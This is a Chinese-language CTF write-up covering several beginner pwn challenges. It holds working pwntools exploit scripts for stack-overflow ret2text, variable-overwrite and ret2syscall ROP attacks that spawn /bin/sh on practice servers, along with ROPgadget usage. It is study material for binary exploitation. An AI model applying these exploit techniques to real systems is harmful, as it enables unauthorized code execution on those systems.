前言
研一上学期的课程终于结束,自由学习时间芜湖~
PWN上路!
题目
自带后门函数
- Ret2Text
- 变量覆盖
Rip
来源: buuoj.cn
总结
利用原理: 栈溢出
利用方式: 栈溢出跳转到代码段自带参数的systemcall
细节
溢出点:gets函数
直接目测栈帧
可以看到数组长度为15 跨过一个保存栈底的值大小为8字节(64位程序)
需要23个填充字节
于是EXP如下
from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
local=0
if local:
p=process('./pwn1')
else:
p=remote('node4.buuoj.cn', 27688)
system_addr=0x40118A
payload = b'a'*23 + p64(system_addr)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
问题
从0x401186开始执行会遇到Broken pipe问题
而从0x40118A开始执行则正常成功
最后调试感觉是执行函数开头开栈操作时RBP的值不可靠引发的问题 但具体在哪里触发的问题还有待探究
总之今后需要注意
warmup_csaw_2016
题目来源:buuctf
总结
利用原理: 栈溢出
利用方式: 栈溢出跳转到代码段自带参数的systemcall
细节
IDA查找字符串 发现要跳转的函数在0x40060D
; Attributes: bp-based frame
sub_40060D proc near
; __unwind {
push rbp
mov rbp, rsp
mov edi, offset command ; "cat flag.txt"
call _system
pop rbp
retn
; } // starts at 40060D
sub_40060D endp
利用函数依旧是get 并且分析栈帧需要0x48个填充字符
于是EXP如下
from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
context.os='linux'
context.arch='amd64'
context.log_level='debug'
local=0
if local:
p=process('./warmup_csaw_2016')
else:
p=remote('node4.buuoj.cn', 27745)
system_addr=0x40060D
payload = b'a'*0x48 + p64(system_addr)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
ciscn_2019_n_1
总结
利用原理: 栈溢出
利用方式: 覆盖关键变量
细节
程序主逻辑如下
我们的目标就是通过溢出v1数组将变量v2覆盖为对应的浮点数
浮点数数据如下
dword_4007F4 dd 41348000h
栈帧如下
溢出v2只需要填充44个字符,然后跟随正确的值覆盖v2即可
所以EXP如下:
from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
context.os='linux'
context.arch='amd64'
context.log_level='debug'
local=0
if local:
p=process('./ciscn_2019_n_1')
else:
p=remote('node4.buuoj.cn', 25812)
system_addr=0x40060D
payload = b'a'*44 + p32(0x41348000)
#gdb.attach(p)
#pause()
p.send(payload)
p.interactive()
pwn1_sctf_2016
总结
利用原理:栈溢出
利用方法:利用字符串处理覆盖地址
细节
32位程序
利用地址在0x08048F0D或者0x08048F13
程序逻辑是通过fgets获取输入 最大32个字节 输入的字符串会进行处理
主函数栈帧输入的偏移为-0x3C
返回地址在+4
所以需要填充的长度为0x40
即64个字节
通常来说无法直接溢出覆盖 这时候看字符串的处理方式
将输入中所有的I
替换为 you
所以利用方法:
输入中1个字节最大能凑3个字节 预留最后4个字节用于覆盖
则最大可以覆盖的范围为(32-4)*3 > 64
所以可以成功
64 = 3 * 21 + 1
所以输入中有21个I
加其他字符然后进行覆盖即可
所以EXP如下
from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
context.os='linux'
context.arch='amd64'
context.log_level='debug'
local=0
if local:
p=process('./pwn1_sctf_2016')
else:
p=remote('node4.buuoj.cn', 29328)
system_addr=0x08048F13
# 64 = 3*21+1
payload = b'I'*21 + b'a' + p32(system_addr)
# gdb.attach(p)
# pause()
p.sendline(payload)
p.interactive()
ROP
ret2syscall
题目来源:bamboofox 中的 ret2syscall
总结
题目内有/bin/sh
字符串地址 而且没有system函数调用
于是考虑Ret2syscall攻击(原理是系统调用)
具体
通过gets溢出后
构造如下指令效果
;目标语句
;execve("/bin/sh",NULL,NULL);
;对应汇编
pop eax;eax=0xb b是execve对应的系统调用编号
pop ebx;ebx=arg_addr
pop ecx;ecx=0
pop edx;edx=0
int 0x80;系统调用
那么payload要如何构造出来呢
payload构造好以后栈里面就是[gadgets片段+要给寄存器赋的目标值] * n + 中断
的组合
首先使用ROPgadget来寻找合适指令的地址
例如寻找控制eax寄存器的片段
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
得到运行结果是
$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax' 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196
这个片段只控制eax寄存器 可以使用于是可以命名变量为
gadget_eax
表示它只控制eax寄存器(只要能标记即可 明明随意)这方便我们之后为栈空间布局
接着寻找控制其他寄存器的指令
gadgets布局完成后 需要寻找中断指令的地址
% ROPgadget --binary rop --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80 Unique gadgets found: 1
找齐信息后则EXP如下:
from pwn import *
#context.update(arch = 'i386', os = 'linux', timeout = 1)
context.os='linux'
context.arch='i386'
#context.arch='amd64'
context.log_level='debug'
local=1
if local:
p=process('./rop')
else:
p=remote('node4.buuoj.cn', 29178)
binsh_addr=0x080BE408
syscall_num=0xb
gadget_eax=0x080bb196
gadget_edx_ecx_ebx=0x0806eb90
int_80=0x08049421
payload= flat([b'A'*112, gadget_eax, syscall_num, gadget_edx_ecx_ebx, 0, 0, binsh_addr, int_80])
p.sendline(payload)
p.interactive()
问题
看栈帧和实际溢出位置不一致
可能因为编译器某些参数导致实际运行时栈偏移更多一点
具体需要多积累再继续研究
ROP链中参数都多了一个0
context设置错误
32位程序应当使用
context.arch='i386'
这样脚本会自动用p32进行打包
64位程序则使用
context.arch='amd64'
如果ROPgadget找不到
int 0x80
指令怎么办则无法利用系统调用的方法解题
ret2libc
总结
和上述题目一样 但是这次没有int 80h
的中断了
这次的方法是控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
这种方式的前提是:导入表内有我们想要的函数
细节
该题内没有80h中断的代码 但是导入表内有system函数 所以可以利用ret2libc的攻击
执行该操作我们需要:找到system函数地址,找到字符串地址,构造payload进行攻击
- system函数地址
技巧总结
调试交互
调试时需要输入payload通常含有一些不可打印字符 直接复制粘贴不好使
则在发送payload之前先使用pause()
在gdb下完断点后继续执行